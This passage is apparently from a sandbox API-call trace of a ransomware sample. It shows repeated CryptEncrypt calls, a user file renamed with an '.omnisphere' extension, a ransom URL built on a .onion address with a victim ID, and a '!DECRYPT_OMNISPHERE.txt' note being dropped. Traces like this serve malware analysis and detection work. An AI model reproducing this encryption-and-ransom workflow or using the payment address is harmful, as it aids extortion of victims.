(in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.360] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.360] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.360] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.360] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.360] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.360] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.360] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.360] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.360] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.360] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.360] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.360] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.360] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.361] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.361] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.361] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.361] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.361] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.361] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.361] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.361] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.361] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.361] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.361] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.361] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.361] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.361] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.361] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.361] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.361] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.361] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.361] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.361] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.361] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.361] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.361] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.362] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.362] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.362] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.362] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.362] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.362] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.362] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.362] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.362] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.362] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.362] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.362] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.362] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.362] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.362] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.362] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.362] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.362] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.362] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.362] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.362] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.362] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.362] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.363] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.363] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.363] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.363] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.363] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.363] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.363] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.363] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.363] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.363] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.363] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.363] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.363] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.363] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.363] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.363] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.363] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.363] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.363] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.364] CryptDestroyKey (hKey=0x1639568) returned 1 [0081.364] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0081.364] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x4949, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0081.364] WriteFile (in: hFile=0x3a4, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0081.365] GetProcessHeap () returned 0x1600000 [0081.365] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2aa) returned 0x167c9e8 [0081.365] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\sonar_policy.xml"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\sonar_policy.xml.omnisphere")) returned 1 [0081.365] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.omnisphere.id" [0081.365] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\sonar_policy.xml.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0081.367] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0081.368] CloseHandle (hObject=0x3c0) returned 1 [0081.369] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0081.369] CloseHandle (hObject=0x3a8) returned 1 [0081.369] SetEndOfFile (hFile=0x3a4) returned 1 [0081.369] FlushFileBuffers (hFile=0x3a4) returned 1 [0081.406] CloseHandle (hObject=0x3a4) returned 1 [0081.408] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0") returned 1 [0081.408] GetProcessHeap () returned 0x1600000 [0081.408] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x167cca0 [0081.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0081.408] GetProcessHeap () returned 0x1600000 [0081.408] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f558 [0081.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f558, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0081.408] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0081.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0081.408] GetProcessHeap () returned 0x1600000 [0081.408] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f770 [0081.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f770, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0081.408] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0081.408] GetProcessHeap () returned 0x1600000 [0081.408] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa8) returned 0x162d9c8 [0081.408] PathCombineW (in: pszDest=0x162d9c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\!DECRYPT_OMNISPHERE.txt" [0081.408] GetProcessHeap () returned 0x1600000 [0081.409] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1667548 [0081.409] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0081.410] WriteFile (in: hFile=0x3a4, lpBuffer=0x1667548*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1667548*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0081.412] CloseHandle (hObject=0x3a4) returned 1 [0081.412] GetProcessHeap () returned 0x1600000 [0081.412] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167cca0 | out: hHeap=0x1600000) returned 1 [0081.412] GetProcessHeap () returned 0x1600000 [0081.412] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9e) returned 0x165e1a8 [0081.412] PathCombineW (in: pszDest=0x165e1a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\unique_decrypt.key") 